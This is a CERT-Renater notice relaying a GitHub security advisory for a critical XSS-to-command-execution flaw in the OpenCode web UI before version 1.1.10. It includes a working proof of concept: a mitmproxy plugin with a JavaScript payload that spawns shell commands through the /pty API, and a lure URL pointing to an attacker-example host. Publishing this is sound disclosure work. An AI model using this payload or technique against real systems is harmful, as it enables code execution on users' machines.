Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN028 _____________________________________________________________________ DATE : 14/01/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running opencode versions prior to 1.1.10. ===================================================================== https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp _____________________________________________________________________ Malicious website can execute commands on the local system through XSS in the OpenCode web UI Critical thdxr published GHSA-c83v-7274-4vgp Jan 12, 2026 Package opencode Affected versions <1.1.10 Patched versions 1.1.10 Description Summary A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API. Code execution via OpenCode API The OpenCode API has /pty/ endpoints that allow spawning arbitrary processes on the local machine. When you run opencode in your terminal, OpenCode automatically starts an HTTP server on localhost:4096 that exposes the API along with a web interface. JavaScript can make arbitrary same-origin fetch() requests to the /pty/ API endpoints. Therefore, JavaScript execution on http://localhost:4096 gets you code execution on local the machine. JavaScript execution on localhost:4096 The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection. This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter: // packages/app/src/app.tsx const defaultServerUrl = iife(() => { const param = new URLSearchParams(document.location.search).get("url") if (param) return param // [truncated] return window.location.origin }) Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses_45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example. Note on exploitability Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. Proof of Concept A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session. Spawn an OpenCode instance in a Docker container $ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0 Create a file called plugin.py with the contents below import base64 import json payload = """ (async () => { // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']}; const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']}; const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}}); const pty_id = (await r.json())['id']; await new Promise(r => setTimeout(r, 500)); await fetch('/pty/' + pty_id, {method: 'DELETE'}) window.location.replace('https://example.com'); })() """ # Other messages have been removed from this codeblock for brevity malicious_messages = [ # [truncated] { # [truncated] "parts": [ # [truncated] { "id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF", "sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn", "messageID": "msg_ba2d269130016guS0KSZ0FY2J9", "type": "text", "text": f"Hello, World!\n", "time": { "start": 1767963258360, "end": 1767963258360 } }, # [truncated] ] } ] malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}} async def response(flow): if flow.request.path.split('?')[0] == '/session': flow.response.text = json.dumps([malicious_session], separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn': flow.response.status_code = 200 flow.response.text = json.dumps(malicious_session, separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message': flow.response.text = json.dumps(malicious_messages, separators=(',', ':')) Start mitmproxy with the plugin in reverse proxy mode $ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096 Start OpenCode in your terminal as the victim $ opencode Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345 Confirm the file albert-was-here.txt was created in the /tmp/ directory $ ls /tmp/ albert-was-here.txt Severity Critical 9.4/ 10 CVSS v4 base metrics Exploitability Metrics Attack Vector Network Attack Complexity Low Attack Requirements None Privileges Required None User interaction Passive Vulnerable System Impact Metrics Confidentiality High Integrity High Availability High Subsequent System Impact Metrics Confidentiality High Integrity High Availability High CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CVE ID CVE-2026-22813 Weaknesses No CWEs Credits @AlbertSPedersen AlbertSPedersen Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================